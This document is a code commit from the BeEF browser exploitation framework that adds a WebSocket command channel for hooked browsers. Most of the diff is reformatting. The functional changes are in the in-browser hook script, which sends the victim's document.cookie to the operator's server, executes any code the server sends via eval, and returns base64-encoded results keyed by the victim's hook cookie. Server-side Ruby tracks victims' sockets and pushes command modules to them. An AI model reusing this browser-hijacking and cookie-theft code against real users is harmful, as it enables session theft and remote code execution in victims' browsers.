Basic response recv system implemented
todo ping-pong for alive host. thread's content is in websocket.rb todo setting up a separate handler for via ws answer's
This commit is contained in:
@@ -20,17 +20,17 @@
|
||||
*/
|
||||
beef.net = {
|
||||
|
||||
host: "<%= @beef_host %>",
|
||||
port: "<%= @beef_port %>",
|
||||
hook: "<%= @beef_hook %>",
|
||||
handler: '/dh',
|
||||
chop: 500,
|
||||
pad: 30, //this is the amount of padding for extra params such as pc, pid and sid
|
||||
sid_count: 0,
|
||||
cmd_queue: [],
|
||||
host:"<%= @beef_host %>",
|
||||
port:"<%= @beef_port %>",
|
||||
hook:"<%= @beef_hook %>",
|
||||
handler:'/dh',
|
||||
chop:500,
|
||||
pad:30, //this is the amount of padding for extra params such as pc, pid and sid
|
||||
sid_count:0,
|
||||
cmd_queue:[],
|
||||
|
||||
//Command object
|
||||
command: function() {
|
||||
command:function () {
|
||||
this.cid = null;
|
||||
this.results = null;
|
||||
this.handler = null;
|
||||
@@ -38,20 +38,20 @@ beef.net = {
|
||||
},
|
||||
|
||||
//Packet object
|
||||
packet: function() {
|
||||
packet:function () {
|
||||
this.id = null;
|
||||
this.data = null;
|
||||
},
|
||||
|
||||
//Stream object
|
||||
stream: function() {
|
||||
stream:function () {
|
||||
this.id = null;
|
||||
this.packets = [];
|
||||
this.pc = 0;
|
||||
this.get_base_url_length = function() {
|
||||
this.get_base_url_length = function () {
|
||||
return (this.url + this.handler + '?' + 'bh=' + beef.session.get_hook_session_id()).length;
|
||||
},
|
||||
this.get_packet_data = function() {
|
||||
this.get_packet_data = function () {
|
||||
var p = this.packets.shift();
|
||||
return {'bh':beef.session.get_hook_session_id(), 'sid':this.id, 'pid':p.id, 'pc':this.pc, 'd':p.data }
|
||||
};
|
||||
@@ -61,7 +61,7 @@ beef.net = {
|
||||
* Response Object - used in the beef.net.request callback
|
||||
* Note: as we are using async mode, the response object will be empty if returned.Using sync mode, request obj fields will be populated.
|
||||
*/
|
||||
response: function() {
|
||||
response:function () {
|
||||
this.status_code = null; // 500, 404, 200, 302
|
||||
this.status_text = null; // success, timeout, error, ...
|
||||
this.response_body = null; // "<html>…." if not a cross domain request
|
||||
@@ -73,7 +73,7 @@ beef.net = {
|
||||
},
|
||||
|
||||
//Queues the command, to be sent back to the framework on the next refresh
|
||||
queue: function(handler, cid, results, callback) {
|
||||
queue:function (handler, cid, results, callback) {
|
||||
if (typeof(handler) === 'string' && typeof(cid) === 'number' && (callback === undefined || typeof(callback) === 'function')) {
|
||||
var s = new beef.net.command();
|
||||
s.cid = cid;
|
||||
@@ -85,14 +85,26 @@ beef.net = {
|
||||
},
|
||||
|
||||
//Queues the current command and flushes the queue straight away
|
||||
send: function(handler, cid, results, callback) {
|
||||
|
||||
this.queue(handler, cid, results, callback);
|
||||
this.flush();
|
||||
},
|
||||
send:function (handler, cid, results, callback) {
|
||||
if (typeof beef.websocket === "undefined") {
|
||||
this.queue(handler, cid, results, callback);
|
||||
this.flush();
|
||||
}
|
||||
else {
|
||||
try {
|
||||
beef.websocket.send('{"handler" : "' + handler + '", "cid" :"' + cid + '", "result":"' + beef.encode.base64.encode(results) + '","callback": "' + callback + '","bh":"' + document.cookie.split("BEEFHOOK=")[1] + '" }');
|
||||
}
|
||||
catch (e) {
|
||||
//todo this is necessary because at start could happened that ws in not still up and the browser try to send back browser info via websocket and failed
|
||||
this.queue(handler, cid, results, callback);
|
||||
this.flush();
|
||||
console.log("error in send " + e);
|
||||
}
|
||||
}
|
||||
},
|
||||
|
||||
//Flush all currently queued commands to the framework
|
||||
flush: function() {
|
||||
flush:function () {
|
||||
if (this.cmd_queue.length > 0) {
|
||||
var data = beef.encode.base64.encode(beef.encode.json.stringify(this.cmd_queue));
|
||||
this.cmd_queue.length = 0;
|
||||
@@ -116,13 +128,13 @@ beef.net = {
|
||||
},
|
||||
|
||||
//Split string into chunk lengths determined by amount
|
||||
chunk: function(str, amount) {
|
||||
chunk:function (str, amount) {
|
||||
if (typeof amount == 'undefined') n = 2;
|
||||
return str.match(RegExp('.{1,' + amount + '}', 'g'));
|
||||
},
|
||||
|
||||
//Push packets to framework
|
||||
push: function(stream) {
|
||||
push:function (stream) {
|
||||
//need to implement wait feature here eventually
|
||||
for (var i = 0; i < stream.pc; i++) {
|
||||
this.request('http', 'GET', this.host, this.port, this.handler, null, stream.get_packet_data(), 10, 'text', null);
|
||||
@@ -144,20 +156,20 @@ beef.net = {
|
||||
*
|
||||
* @return: {Object} response: this object contains the response details
|
||||
*/
|
||||
request: function(scheme, method, domain, port, path, anchor, data, timeout, dataType, callback) {
|
||||
request:function (scheme, method, domain, port, path, anchor, data, timeout, dataType, callback) {
|
||||
//check if same domain or cross domain
|
||||
var cross_domain = true;
|
||||
if (document.domain == domain){
|
||||
if(document.location.port == "" || document.location.port == null){
|
||||
if (document.domain == domain) {
|
||||
if (document.location.port == "" || document.location.port == null) {
|
||||
cross_domain = !(port == "80" || port == "443");
|
||||
}
|
||||
}
|
||||
|
||||
//build the url
|
||||
var url = "";
|
||||
if(path.indexOf("http://") != -1 || path.indexOf("https://") != -1){
|
||||
if (path.indexOf("http://") != -1 || path.indexOf("https://") != -1) {
|
||||
url = path;
|
||||
}else{
|
||||
} else {
|
||||
url = scheme + "://" + domain;
|
||||
url = (port != null) ? url + ":" + port : url;
|
||||
url = (path != null) ? url + path : url;
|
||||
@@ -173,30 +185,30 @@ beef.net = {
|
||||
* according to http://api.jquery.com/jQuery.ajax/, Note: having 'script':
|
||||
* This will turn POSTs into GETs for remote-domain requests.
|
||||
*/
|
||||
if (method == "POST"){
|
||||
$j.ajaxSetup({
|
||||
dataType: dataType
|
||||
});
|
||||
}else{ //GET, HEAD, ...
|
||||
$j.ajaxSetup({
|
||||
dataType: 'script'
|
||||
});
|
||||
if (method == "POST") {
|
||||
$j.ajaxSetup({
|
||||
dataType:dataType
|
||||
});
|
||||
} else { //GET, HEAD, ...
|
||||
$j.ajaxSetup({
|
||||
dataType:'script'
|
||||
});
|
||||
}
|
||||
|
||||
//build and execute the request
|
||||
$j.ajax({type: method,
|
||||
url: url,
|
||||
data: data,
|
||||
timeout: (timeout * 1000),
|
||||
$j.ajax({type:method,
|
||||
url:url,
|
||||
data:data,
|
||||
timeout:(timeout * 1000),
|
||||
|
||||
//needed otherwise jQuery always add Content-type: application/xml, even if data is populated
|
||||
beforeSend: function(xhr) {
|
||||
if(method == "POST"){
|
||||
beforeSend:function (xhr) {
|
||||
if (method == "POST") {
|
||||
xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded; charset=utf-8");
|
||||
}
|
||||
},
|
||||
|
||||
success: function(data, textStatus, xhr) {
|
||||
success:function (data, textStatus, xhr) {
|
||||
var end_time = new Date().getTime();
|
||||
response.status_code = xhr.status;
|
||||
response.status_text = textStatus;
|
||||
@@ -205,14 +217,14 @@ beef.net = {
|
||||
response.was_timedout = false;
|
||||
response.duration = (end_time - start_time);
|
||||
},
|
||||
error: function(jqXHR, textStatus, errorThrown) {
|
||||
error:function (jqXHR, textStatus, errorThrown) {
|
||||
var end_time = new Date().getTime();
|
||||
response.response_body = jqXHR.responseText;
|
||||
response.status_code = jqXHR.status;
|
||||
response.status_text = textStatus;
|
||||
response.duration = (end_time - start_time);
|
||||
},
|
||||
complete: function(jqXHR, textStatus) {
|
||||
complete:function (jqXHR, textStatus) {
|
||||
response.status_code = jqXHR.status;
|
||||
response.status_text = textStatus;
|
||||
response.headers = jqXHR.getAllResponseHeaders();
|
||||
@@ -227,11 +239,11 @@ beef.net = {
|
||||
response.port_status = "open";
|
||||
}
|
||||
}
|
||||
}).done(function() {
|
||||
if (callback != null) {
|
||||
callback(response);
|
||||
}
|
||||
});
|
||||
}).done(function () {
|
||||
if (callback != null) {
|
||||
callback(response);
|
||||
}
|
||||
});
|
||||
return response;
|
||||
},
|
||||
|
||||
@@ -240,16 +252,16 @@ beef.net = {
|
||||
* - requestid: needed on the callback
|
||||
* - allowCrossDomain: set cross-domain requests as allowed or blocked
|
||||
*/
|
||||
forge_request: function(scheme, method, domain, port, path, anchor, headers, data, timeout, dataType, allowCrossDomain, requestid, callback) {
|
||||
forge_request:function (scheme, method, domain, port, path, anchor, headers, data, timeout, dataType, allowCrossDomain, requestid, callback) {
|
||||
|
||||
// check if same domain or cross domain
|
||||
var cross_domain = true;
|
||||
if (document.domain == domain) {
|
||||
if(document.location.port == "" || document.location.port == null){
|
||||
cross_domain = !(port == "80" || port == "443");
|
||||
} else {
|
||||
if (document.location.port == port) cross_domain = false;
|
||||
}
|
||||
if (document.location.port == "" || document.location.port == null) {
|
||||
cross_domain = !(port == "80" || port == "443");
|
||||
} else {
|
||||
if (document.location.port == port) cross_domain = false;
|
||||
}
|
||||
}
|
||||
|
||||
// build the url
|
||||
@@ -275,35 +287,35 @@ beef.net = {
|
||||
response.status_text = "crossdomain";
|
||||
response.port_status = "crossdomain";
|
||||
response.response_body = "ERROR: Cross Domain Request. The request was not sent.\n";
|
||||
response.headers = "ERROR: Cross Domain Request. The request was not sent.\n";
|
||||
response.headers = "ERROR: Cross Domain Request. The request was not sent.\n";
|
||||
callback(response, requestid);
|
||||
return response;
|
||||
}
|
||||
|
||||
// build and execute the request
|
||||
if (method == "POST"){
|
||||
$j.ajaxSetup({
|
||||
data: data
|
||||
});
|
||||
if (method == "POST") {
|
||||
$j.ajaxSetup({
|
||||
data:data
|
||||
});
|
||||
}
|
||||
|
||||
$j.ajax({type: method,
|
||||
dataType: 'script', // this is required for bugs in IE so data can be transfered back to the server
|
||||
url: url,
|
||||
headers: headers,
|
||||
timeout: (timeout * 1000),
|
||||
$j.ajax({type:method,
|
||||
dataType:'script', // this is required for bugs in IE so data can be transfered back to the server
|
||||
url:url,
|
||||
headers:headers,
|
||||
timeout:(timeout * 1000),
|
||||
|
||||
// needed otherwise jQuery always adds:
|
||||
// Content-type: application/xml
|
||||
// even if data is populated
|
||||
beforeSend: function(xhr) {
|
||||
beforeSend:function (xhr) {
|
||||
if (method == "POST") {
|
||||
xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded; charset=utf-8");
|
||||
xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded; charset=utf-8");
|
||||
}
|
||||
},
|
||||
|
||||
// http server responded successfully
|
||||
success: function(data, textStatus, xhr) {
|
||||
success:function (data, textStatus, xhr) {
|
||||
var end_time = new Date().getTime();
|
||||
response.status_code = xhr.status;
|
||||
response.status_text = textStatus;
|
||||
@@ -314,7 +326,7 @@ beef.net = {
|
||||
|
||||
// server responded with a http error (403, 404, 500, etc)
|
||||
// or server is not a http server
|
||||
error: function(xhr, textStatus, errorThrown) {
|
||||
error:function (xhr, textStatus, errorThrown) {
|
||||
var end_time = new Date().getTime();
|
||||
response.response_body = xhr.responseText;
|
||||
response.status_code = xhr.status;
|
||||
@@ -322,7 +334,7 @@ beef.net = {
|
||||
response.duration = (end_time - start_time);
|
||||
},
|
||||
|
||||
complete: function(xhr, textStatus) {
|
||||
complete:function (xhr, textStatus) {
|
||||
// cross-domain request
|
||||
if (cross_domain) {
|
||||
response.status_code = -1;
|
||||
@@ -355,7 +367,7 @@ beef.net = {
|
||||
|
||||
//this is a stub, as associative arrays are not parsed by JSON, all key / value pairs should use new Object() or {}
|
||||
//http://andrewdupont.net/2006/05/18/javascript-associative-arrays-considered-harmful/
|
||||
clean: function(r) {
|
||||
clean:function (r) {
|
||||
if (this.array_has_string_key(r)) {
|
||||
var obj = {};
|
||||
for (var key in r)
|
||||
@@ -366,7 +378,7 @@ beef.net = {
|
||||
},
|
||||
|
||||
//Detects if an array has a string key
|
||||
array_has_string_key: function(arr) {
|
||||
array_has_string_key:function (arr) {
|
||||
if ($j.isArray(arr)) {
|
||||
try {
|
||||
for (var key in arr)
|
||||
@@ -378,7 +390,7 @@ beef.net = {
|
||||
},
|
||||
|
||||
//Sends back browser details to framework
|
||||
browser_details: function() {
|
||||
browser_details:function () {
|
||||
var details = beef.browser.getDetails();
|
||||
details['HookSessionID'] = beef.session.get_hook_session_id();
|
||||
this.send('/init', 0, details);
|
||||
|
||||
@@ -28,7 +28,7 @@ beef.websocket = {
|
||||
if (beef.browser.isFF() && !!window.MozWebSocket) {
|
||||
beef.websocket.socket = new MozWebSocket("ws://" + webSocketServer + ":" + webSocketPort + "/");
|
||||
|
||||
} else{
|
||||
} else {
|
||||
beef.websocket.socket = new WebSocket("ws://" + webSocketServer + ":" + webSocketPort + "/");
|
||||
|
||||
}
|
||||
@@ -42,18 +42,19 @@ beef.websocket = {
|
||||
console.log("Socket has been opened!");
|
||||
|
||||
/*send browser id*/
|
||||
beef.websocket.send(document.cookie);
|
||||
beef.websocket.send('{"cookie":"' + document.cookie + '"}');
|
||||
console.log("Connected and Helo");
|
||||
}
|
||||
this.socket.onmessage = function (message){
|
||||
this.socket.onmessage = function (message) {
|
||||
console.log("Received message via WS.");
|
||||
//todo check message and send pong if ping req
|
||||
eval(message.data);
|
||||
}
|
||||
}
|
||||
|
||||
},
|
||||
|
||||
send:function (data) {
|
||||
this.socket.send(data);
|
||||
this.socket.send(data);
|
||||
console.log("Sent [" + data + "]");
|
||||
}
|
||||
|
||||
|
||||
@@ -14,79 +14,78 @@
|
||||
# limitations under the License.
|
||||
#
|
||||
module BeEF
|
||||
module Core
|
||||
module Handlers
|
||||
|
||||
class Commands
|
||||
|
||||
include BeEF::Core::Handlers::Modules::BeEFJS
|
||||
include BeEF::Core::Handlers::Modules::Command
|
||||
|
||||
@data = {}
|
||||
|
||||
# Handles command data
|
||||
# @param [Hash] data Data from command execution
|
||||
# @param [Class] kclass Class of command
|
||||
# @todo Confirm argument data variable type.
|
||||
def initialize(data, kclass)
|
||||
@kclass = BeEF::Core::Command.const_get(kclass.capitalize)
|
||||
@data = data
|
||||
setup()
|
||||
end
|
||||
|
||||
# Initial setup function, creates the command module and saves details to datastore
|
||||
def setup()
|
||||
module Core
|
||||
module Handlers
|
||||
|
||||
class Commands
|
||||
|
||||
include BeEF::Core::Handlers::Modules::BeEFJS
|
||||
include BeEF::Core::Handlers::Modules::Command
|
||||
|
||||
@data = {}
|
||||
|
||||
# Handles command data
|
||||
# @param [Hash] data Data from command execution
|
||||
# @param [Class] kclass Class of command
|
||||
# @todo Confirm argument data variable type [radoen]: type is Hash confirmed.
|
||||
def initialize(data, kclass)
|
||||
@kclass = BeEF::Core::Command.const_get(kclass.capitalize)
|
||||
@data = data
|
||||
setup()
|
||||
end
|
||||
|
||||
# Initial setup function, creates the command module and saves details to datastore
|
||||
def setup()
|
||||
|
||||
|
||||
@http_params = @data['request'].params
|
||||
@http_header = Hash.new
|
||||
http_header = @data['request'].env.select {|k,v| k.to_s.start_with? 'HTTP_'}
|
||||
.each {|key,value|
|
||||
@http_header[key.sub(/^HTTP_/, '')] = value
|
||||
}
|
||||
@http_params = @data['request'].params
|
||||
@http_header = Hash.new
|
||||
http_header = @data['request'].env.select { |k, v| k.to_s.start_with? 'HTTP_' }.each { |key, value|
|
||||
@http_header[key.sub(/^HTTP_/, '')] = value
|
||||
}
|
||||
|
||||
# @note get and check command id from the request
|
||||
command_id = get_param(@data, 'cid')
|
||||
# @todo ruby filter needs to be updated to detect fixnums not strings
|
||||
command_id = command_id.to_s()
|
||||
(print_error "command_id is invalid";return) if not BeEF::Filters.is_valid_command_id?(command_id.to_s())
|
||||
# @note get and check command id from the request
|
||||
command_id = get_param(@data, 'cid')
|
||||
# @todo ruby filter needs to be updated to detect fixnums not strings
|
||||
command_id = command_id.to_s()
|
||||
(print_error "command_id is invalid"; return) if not BeEF::Filters.is_valid_command_id?(command_id.to_s())
|
||||
|
||||
# @note get and check session id from the request
|
||||
beefhook = get_param(@data, 'beefhook')
|
||||
(print_error "BeEFhook is invalid";return) if not BeEF::Filters.is_valid_hook_session_id?(beefhook)
|
||||
# @note get and check session id from the request
|
||||
beefhook = get_param(@data, 'beefhook')
|
||||
(print_error "BeEFhook is invalid"; return) if not BeEF::Filters.is_valid_hook_session_id?(beefhook)
|
||||
|
||||
result = get_param(@data, 'results')
|
||||
result = get_param(@data, 'results')
|
||||
|
||||
# @note create the command module to handle the response
|
||||
command = @kclass.new(BeEF::Module.get_key_by_class(@kclass))
|
||||
command.build_callback_datastore(@http_params, @http_header, result, command_id, beefhook)
|
||||
command.session_id = beefhook
|
||||
if command.respond_to?(:post_execute)
|
||||
command.post_execute
|
||||
end
|
||||
#@todo this is the part that store result on db and the modify will be accessible from all the framework and so UI too
|
||||
# @note get/set details for datastore and log entry
|
||||
command_friendly_name = command.friendlyname
|
||||
(print_error "command friendly name is empty"; return) if command_friendly_name.empty?
|
||||
command_results = get_param(@data, 'results')
|
||||
(print_error "command results are empty"; return) if command_results.empty?
|
||||
# @note save the command module results to the datastore and create a log entry
|
||||
command_results = {'data' => command_results}
|
||||
BeEF::Core::Models::Command.save_result(beefhook, command_id, command_friendly_name, command_results)
|
||||
|
||||
end
|
||||
|
||||
# Returns parameter from hash
|
||||
# @param [Hash] query Hash of data to return data from
|
||||
# @param [String] key Key to search for and return inside `query`
|
||||
# @return Value referenced in hash at the supplied key
|
||||
def get_param(query, key)
|
||||
return (query.class == Hash and query.has_key?(key)) ? query[key] : nil
|
||||
end
|
||||
|
||||
# @note create the command module to handle the response
|
||||
command = @kclass.new(BeEF::Module.get_key_by_class(@kclass))
|
||||
command.build_callback_datastore(@http_params, @http_header, result, command_id, beefhook)
|
||||
command.session_id = beefhook
|
||||
if command.respond_to?(:post_execute)
|
||||
command.post_execute
|
||||
end
|
||||
|
||||
# @note get/set details for datastore and log entry
|
||||
command_friendly_name = command.friendlyname
|
||||
(print_error "command friendly name is empty";return) if command_friendly_name.empty?
|
||||
command_results = get_param(@data, 'results')
|
||||
(print_error "command results are empty";return) if command_results.empty?
|
||||
# @note save the command module results to the datastore and create a log entry
|
||||
command_results = {'data' => command_results}
|
||||
BeEF::Core::Models::Command.save_result(beefhook, command_id, command_friendly_name, command_results)
|
||||
|
||||
end
|
||||
|
||||
# Returns parameter from hash
|
||||
# @param [Hash] query Hash of data to return data from
|
||||
# @param [String] key Key to search for and return inside `query`
|
||||
# @return Value referenced in hash at the supplied key
|
||||
def get_param(query, key)
|
||||
return (query.class == Hash and query.has_key?(key)) ? query[key] : nil
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
@@ -66,11 +66,10 @@ module BeEF
|
||||
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
// See the License for the specific language governing permissions and
|
||||
// limitations under the License.
|
||||
//',"")
|
||||
//', "")
|
||||
let.sent(funtosend, hooked_browser.session)
|
||||
#print_info("We are sending #{funtosend}")
|
||||
else
|
||||
print_info("not in else")
|
||||
@body << command_module.output + "\n\n"
|
||||
|
||||
end
|
||||
|
||||
@@ -14,118 +14,119 @@
|
||||
# limitations under the License.
|
||||
#
|
||||
module BeEF
|
||||
module Core
|
||||
module NetworkStack
|
||||
module Handlers
|
||||
|
||||
# @note DynamicHandler is used reconstruct segmented traffic from the hooked browser
|
||||
class DynamicReconstruction < BeEF::Core::Router::Router
|
||||
module Core
|
||||
module NetworkStack
|
||||
module Handlers
|
||||
|
||||
# @note holds packet queue
|
||||
PQ = Array.new()
|
||||
# @note DynamicHandler is used reconstruct segmented traffic from the hooked browser
|
||||
class DynamicReconstruction < BeEF::Core::Router::Router
|
||||
|
||||
# @note obtain dynamic mount points from HttpHookServer
|
||||
MOUNTS = BeEF::Core::Server.instance.mounts
|
||||
# @note holds packet queue
|
||||
PQ = Array.new()
|
||||
|
||||
before do
|
||||
error 404 unless !params.empty?
|
||||
headers 'Pragma' => 'no-cache',
|
||||
'Cache-Control' => 'no-cache',
|
||||
'Expires' => '0'
|
||||
end
|
||||
# @note obtain dynamic mount points from HttpHookServer
|
||||
MOUNTS = BeEF::Core::Server.instance.mounts
|
||||
|
||||
# Combines packet information and pushes to PQ (packet queue), then checks packets
|
||||
get '/' do
|
||||
headers 'Pragma' => 'no-cache',
|
||||
'Cache-Control' => 'no-cache',
|
||||
'Expires' => '0',
|
||||
'Content-Type' => 'text/javascript',
|
||||
'Access-Control-Allow-Origin' => '*',
|
||||
'Access-Control-Allow-Methods' => 'POST, GET'
|
||||
before do
|
||||
error 404 unless !params.empty?
|
||||
headers 'Pragma' => 'no-cache',
|
||||
'Cache-Control' => 'no-cache',
|
||||
'Expires' => '0'
|
||||
end
|
||||
|
||||
PQ << {
|
||||
:beefhook => params[:bh],
|
||||
:stream_id => Integer(params[:sid]),
|
||||
:packet_id => Integer(params[:pid]),
|
||||
:packet_count => Integer(params[:pc]),
|
||||
:data => params[:d]
|
||||
}
|
||||
# Combines packet information and pushes to PQ (packet queue), then checks packets
|
||||
get '/' do
|
||||
headers 'Pragma' => 'no-cache',
|
||||
'Cache-Control' => 'no-cache',
|
||||
'Expires' => '0',
|
||||
'Content-Type' => 'text/javascript',
|
||||
'Access-Control-Allow-Origin' => '*',
|
||||
'Access-Control-Allow-Methods' => 'POST, GET'
|
||||
|
||||
Thread.new {
|
||||
check_packets()
|
||||
}
|
||||
end
|
||||
PQ << {
|
||||
:beefhook => params[:bh],
|
||||
:stream_id => Integer(params[:sid]),
|
||||
:packet_id => Integer(params[:pid]),
|
||||
:packet_count => Integer(params[:pc]),
|
||||
:data => params[:d]
|
||||
}
|
||||
|
||||
# Check packets goes through the PQ array and attempts to reconstruct the stream from multiple packets
|
||||
def check_packets()
|
||||
checked = Array.new()
|
||||
PQ.each do |packet|
|
||||
if (checked.include?(packet[:beefhook]+':'+String(packet[:stream_id])))
|
||||
Thread.new {
|
||||
check_packets()
|
||||
}
|
||||
end
|
||||
|
||||
# Check packets goes through the PQ array and attempts to reconstruct the stream from multiple packets
|
||||
def check_packets()
|
||||
checked = Array.new()
|
||||
PQ.each do |packet|
|
||||
if (checked.include?(packet[:beefhook]+':'+String(packet[:stream_id])))
|
||||
next
|
||||
end
|
||||
checked << packet[:beefhook]+':'+String(packet[:stream_id])
|
||||
pc = 0
|
||||
PQ.each do |p|
|
||||
end
|
||||
checked << packet[:beefhook]+':'+String(packet[:stream_id])
|
||||
pc = 0
|
||||
PQ.each do |p|
|
||||
if (packet[:beefhook] == p[:beefhook] and packet[:stream_id] == p[:stream_id])
|
||||
pc += 1
|
||||
pc += 1
|
||||
end
|
||||
end
|
||||
if (packet[:packet_count] == pc)
|
||||
end
|
||||
if (packet[:packet_count] == pc)
|
||||
packets = expunge(packet[:beefhook], packet[:stream_id])
|
||||
data = ''
|
||||
packets.each_with_index do |sp,i|
|
||||
if (packet[:beefhook] == sp[:beefhook] and packet[:stream_id] == sp[:stream_id])
|
||||
data += sp[:data]
|
||||
end
|
||||
packets.each_with_index do |sp, i|
|
||||
if (packet[:beefhook] == sp[:beefhook] and packet[:stream_id] == sp[:stream_id])
|
||||
data += sp[:data]
|
||||
end
|
||||
end
|
||||
b64 = Base64.decode64(data)
|
||||
b64 = Base64.decode64(data)
|
||||
begin
|
||||
res = JSON.parse(b64).first
|
||||
res['beefhook'] = packet[:beefhook]
|
||||
res['request'] = request
|
||||
res['beefsession'] = request[BeEF::Core::Configuration.instance.get('beef.http.hook_session_name')]
|
||||
execute(res)
|
||||
res = JSON.parse(b64).first
|
||||
res['beefhook'] = packet[:beefhook]
|
||||
res['request'] = request
|
||||
res['beefsession'] = request[BeEF::Core::Configuration.instance.get('beef.http.hook_session_name')]
|
||||
execute(res)
|
||||
rescue JSON::ParserError => e
|
||||
print_debug 'Network stack could not decode packet stream.'
|
||||
print_debug 'Dumping Stream Data [base64]: '+data
|
||||
print_debug 'Dumping Stream Data: '+b64
|
||||
print_debug 'Network stack could not decode packet stream.'
|
||||
print_debug 'Dumping Stream Data [base64]: '+data
|
||||
print_debug 'Dumping Stream Data: '+b64
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# Delete packets that have been reconstructed, return deleted packets
|
||||
# @param [String] beefhook Beefhook of hooked browser
|
||||
# @param [Integer] stream_id The stream ID
|
||||
def expunge(beefhook, stream_id)
|
||||
packets = PQ.select{ |p| p[:beefhook] == beefhook and p[:stream_id] == stream_id }
|
||||
PQ.delete_if { |p| p[:beefhook] == beefhook and p[:stream_id] == stream_id }
|
||||
packets.sort_by { |p| p[:packet_id] }
|
||||
end
|
||||
# Delete packets that have been reconstructed, return deleted packets
|
||||
# @param [String] beefhook Beefhook of hooked browser
|
||||
# @param [Integer] stream_id The stream ID
|
||||
def expunge(beefhook, stream_id)
|
||||
packets = PQ.select { |p| p[:beefhook] == beefhook and p[:stream_id] == stream_id }
|
||||
PQ.delete_if { |p| p[:beefhook] == beefhook and p[:stream_id] == stream_id }
|
||||
packets.sort_by { |p| p[:packet_id] }
|
||||
end
|
||||
|
||||
# Execute is called once a stream has been rebuilt. it searches the mounts and passes the data to the correct handler
|
||||
# @param [Hash] data Hash of data that has been rebuilt by the dynamic reconstruction
|
||||
def execute(data)
|
||||
handler = get_param(data, 'handler')
|
||||
if (MOUNTS.has_key?(handler))
|
||||
if (MOUNTS[handler].class == Array and MOUNTS[handler].length == 2)
|
||||
# Execute is called once a stream has been rebuilt. it searches the mounts and passes the data to the correct handler
|
||||
# @param [Hash] data Hash of data that has been rebuilt by the dynamic reconstruction
|
||||
def execute(data)
|
||||
handler = get_param(data, 'handler')
|
||||
if (MOUNTS.has_key?(handler))
|
||||
if (MOUNTS[handler].class == Array and MOUNTS[handler].length == 2)
|
||||
MOUNTS[handler][0].new(data, MOUNTS[handler][1])
|
||||
else
|
||||
else
|
||||
MOUNTS[handler].new(data)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
BeEF::Core::Handlers::Commands
|
||||
# Assist function for getting parameter from hash
|
||||
# @param [Hash] query Hash to pull key from
|
||||
# @param [String] key The key association to return from `query`
|
||||
# @return Value associated with `key`
|
||||
def get_param(query, key)
|
||||
return nil if query[key].nil?
|
||||
query[key]
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# Assist function for getting parameter from hash
|
||||
# @param [Hash] query Hash to pull key from
|
||||
# @param [String] key The key association to return from `query`
|
||||
# @return Value associated with `key`
|
||||
def get_param(query, key)
|
||||
return nil if query[key].nil?
|
||||
query[key]
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
@@ -13,17 +13,19 @@
|
||||
# See the License for the specific language governing permissions and
|
||||
# limitations under the License.
|
||||
#
|
||||
#@todo STOP POLLING
|
||||
module BeEF
|
||||
module Core
|
||||
module Websocket
|
||||
require 'singleton'
|
||||
|
||||
require 'json'
|
||||
require 'base64'
|
||||
class Websocket
|
||||
# require 'singleton'
|
||||
#include Singleton
|
||||
#all hooked browser
|
||||
include Singleton
|
||||
@@activeSocket= Hash.new #empty at begin
|
||||
|
||||
# @note obtain dynamic mount points from HttpHookServer
|
||||
MOUNTS = BeEF::Core::Server.instance.mounts
|
||||
@@activeSocket= Hash.new #empty at begin
|
||||
|
||||
def initialize
|
||||
config = BeEF::Core::Configuration.instance
|
||||
@@ -43,31 +45,68 @@ module BeEF
|
||||
while true
|
||||
#command interpretation
|
||||
message=ws.receive()
|
||||
|
||||
if(/BEEFHOOK=/.match(message))
|
||||
messageHash= JSON.parse("#{message}")
|
||||
#@note messageHash[result] is Base64 encoded
|
||||
if (messageHash["cookie"]!= nil)
|
||||
print_info("Browser #{ws.origin} says helo! ws is running")
|
||||
#insert new connection in activesocket
|
||||
@@activeSocket["#{message.split(/BEEFHOOK=/)[1]}"] = ws
|
||||
@@activeSocket["#{messageHash["cookie"]}"] = ws
|
||||
print_debug("In activesocket we have #{@@activeSocket}")
|
||||
else
|
||||
#json recv is a cmd response decode and send all to
|
||||
#we have to call dynamicreconstructor handler camp must be websocket
|
||||
print_info("We recived that #{messageHash}")
|
||||
execute(messageHash)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
}
|
||||
##Alive check
|
||||
# Thread.new{
|
||||
#
|
||||
# @@activeSocket.each_key{|key , value|
|
||||
# ping send token and update beefdb whit new timestamp insert a timer
|
||||
#
|
||||
# }
|
||||
#
|
||||
#
|
||||
# }
|
||||
end
|
||||
|
||||
#@note used in command.rd return nill if browser is not in list else giveback websocket
|
||||
#@param [String] browser_id the cookie value
|
||||
def getsocket (browser_id)
|
||||
if ( @@activeSocket[browser_id] != nil)
|
||||
true
|
||||
if (@@activeSocket[browser_id] != nil)
|
||||
true
|
||||
else
|
||||
false
|
||||
false
|
||||
end
|
||||
end
|
||||
|
||||
#@note send a function to hooked and ws browser
|
||||
def sent (fn ,browser_id )
|
||||
@@activeSocket[browser_id].send(fn)
|
||||
#@param [String] fn the module to execute
|
||||
#@param [String] browser_id the cookie value
|
||||
def sent (fn, browser_id)
|
||||
@@activeSocket[browser_id].send(fn)
|
||||
end
|
||||
|
||||
BeEF::Core::Handlers::Commands
|
||||
#call the handler for websocket cmd response
|
||||
#@param [Hash] data contains the answer of a command
|
||||
#@todo ve this stuff in an Handler and resolve the Module friendly name
|
||||
def execute (data)
|
||||
command_results=Hash.new
|
||||
command_results["data"]=Base64.decode64(data["result"])
|
||||
(print_error "BeEFhook is invalid"; return) if not BeEF::Filters.is_valid_hook_session_id?(data["bh"])
|
||||
(print_error "command_id is invalid"; return) if not BeEF::Filters.is_valid_command_id?(data["cid"])
|
||||
(print_error "command name is empty"; return) if data["handler"].empty?
|
||||
(print_error "command results are empty"; return) if command_results.empty?
|
||||
BeEF::Core::Models::Command.save_result(data["bh"], data["cid"], data["handler"], command_results)
|
||||
|
||||
end
|
||||
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
Reference in New Issue
Block a user